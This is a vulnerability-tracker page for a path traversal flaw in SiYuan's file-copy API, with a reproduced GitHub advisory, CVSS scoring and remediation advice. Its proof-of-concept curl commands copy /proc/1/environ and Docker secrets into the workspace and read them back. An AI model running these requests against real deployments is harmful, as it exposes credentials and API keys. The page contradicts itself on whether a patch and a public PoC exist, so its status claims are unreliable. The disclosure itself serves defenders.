Skip to main content

Docker CVE-2026-32747

MEDIUM
Path Traversal (CWE-22)
2026-03-16 https://github.com/siyuan-note/siyuan GHSA-h5vh-m7fg-w5h6
6.8
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents moderate-to-high real-world risk despite a CVSS score of 6.8 (High). The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N) correctly reflects network accessibility and high confidentiality impact, but the high privileges requirement (PR:H) mitigates exploitation scope. However, multiple signals elevate concern: a public proof-of-concept exists demonstrating direct exploitation against Docker deployments, the vulnerability directly impacts containerized environments where environment variables and Docker secrets are the primary credential delivery mechanism, and the attack requires only authenticated admin access — a plausible insider threat in multi-user deployments. The exploitation is straightforward (two API calls), automatable, and results in persistent credential exfiltration. Organizations running SiYuan in containers with injected secrets should treat this as a priority remediation target, particularly those exposing SiYuan to untrusted administrator accounts. The incomplete blocklist suggests the vulnerability was introduced through insufficient threat modeling of path-based access controls.

Exploit ScenarioDerived

An administrator (malicious insider or account compromise) with valid authentication credentials makes two sequential HTTP POST requests to a SiYuan instance: the first to /api/file/globalCopyFiles specifies /proc/1/environ as the source file, copying it to the data/assets/ directory; the second to /api/file/getFile retrieves the copied file, exfiltrating all environment variables including database connection strings, API keys, and AWS credentials injected by the container orchestration system. In a Docker Swarm or Kubernetes environment, this same technique copies files from /run/secrets/, directly exposing database passwords and service tokens. The entire exploit chain requires no special tools or network access beyond normal API authentication and completes in seconds, with the exfiltrated files persisting in the workspace until manually deleted.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 16, 2026

Administrative users of Docker and PostgreSQL deployments can exploit an incomplete path validation in the POST /api/file/globalCopyFiles endpoint to copy sensitive files like container environment variables and Docker secrets from restricted locations (/proc/, /run/secrets/) into the workspace, where they become readable via standard file APIs. The vulnerability stems from reliance on a blocklist-based validation mechanism that fails to prevent access to these critical system paths. Since no patch is currently available, organizations should restrict administrative access to the affected API endpoint until an update is released.

Earlier versions of this analysis (1)
v1 Mar 16, 2026 - 20:05 CVSS 6.8

A path traversal vulnerability in SiYuan's POST /api/file/globalCopyFiles endpoint allows authenticated administrators to read arbitrary files from the host system by copying them into the workspace, then accessing them via the standard file API. The vulnerability stems from an incomplete blocklist in the IsSensitivePath() function that fails to block /proc/, /run/secrets/, and home directory dotfiles, enabling exfiltration of environment variables, Docker secrets, AWS credentials, and SSH keys in containerized deployments. A public proof-of-concept exists demonstrating exploitation against containerized SiYuan instances.

RemediationAI

Apply the security patch released for SiYuan immediately by upgrading to the patched version specified in the GitHub advisory (GHSA-h5vh-m7fg-w5h6 at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-h5vh-m7fg-w5h6). The patch must implement a whitelist-based approach to file access, restricting the globalCopyFiles endpoint to only copy files from within the designated workspace directory, and should expand the blocklist to include /proc/, /run/secrets/, and user home directories (particularly .aws/, .ssh/, and other dotfile directories). Until patching is available, operators should immediately restrict network access to the SiYuan API to trusted administrator accounts only, disable the globalCopyFiles endpoint if not required, and avoid running SiYuan with environment variables or Docker secrets that contain sensitive credentials — instead using external secret management systems with restricted read access. Consider enforcing role-based access control to limit the number of users with administrator privileges in SiYuan deployments.

Affected Packages

go github.com/siyuan-note/siyuan/kernel no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the Go-based SiYuan kernel (pkg:go/github.com_siyuan-note_siyuan_kernel) at the globalCopyFiles function in kernel/api/file.go. The code uses filepath.Abs() to resolve source file paths without enforcing workspace boundary restrictions, then applies a blocklist-based security check via util.IsSensitivePath(). This represents a CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) flaw. The blocklist in kernel/util/path.go only blocks /etc/ssh, /root, /etc, /var/lib/, and paths starting with /. — notably omitting /proc/ (containing process environment variables), /run/secrets/ (Docker Swarm and Compose injected credentials), and home directory dotfiles like ~/.aws/credentials or ~/.ssh/id_rsa. After the insufficient validation, filelock.Copy() copies the unchecked file into the workspace's data/assets/ directory, where it becomes accessible via the standard file read API.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 6.8 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
SUSE MEDIUM

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

DescriptionGitHub Advisory

Summary

POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

Details

File: kernel/api/file.go - function globalCopyFiles

go
for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)   //  not restricted to workspace

    if util.IsSensitivePath(absSrc) { //  blocklist is incomplete
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}

IsSensitivePath blocklist (kernel/util/path.go):

go
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}

Not blocked - exploitable targets:

PathContains
/proc/1/environAll env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY
/run/secrets/*Docker Swarm / Compose injected secrets
/home/siyuan/.aws/credentialsAWS credentials (non-root user)
/home/siyuan/.ssh/id_rsaSSH private key (non-root user)
/tmp/Temporary files including tokens

PoC

Environment:

bash
docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

bash
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Copy /proc/1/environ (process env vars) into workspace assets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
# Step 2: Read the copied file via standard API
curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
# Output: HOSTNAME=abc\nPATH=/usr/local/sbin:...\nDATABASE_URL=postgres://...\nAPI_KEY=sk-...

Docker secrets:

bash
# Copy all Docker-injected secrets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'

Impact

An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.

Executive ViewAI

Why It Matters

CVE-2026-32747 presents notable security risk, a path traversal vulnerability rated CVSS 6.8. This could allow unauthorized file access. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Moderate
Compensating Controls

Apply vendor patch. If patching is delayed: restrict file access via WAF, implement allowlists.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)GitHub Advisory

pkg:go/github.com_siyuan-note_siyuan_kernel

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Medium
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy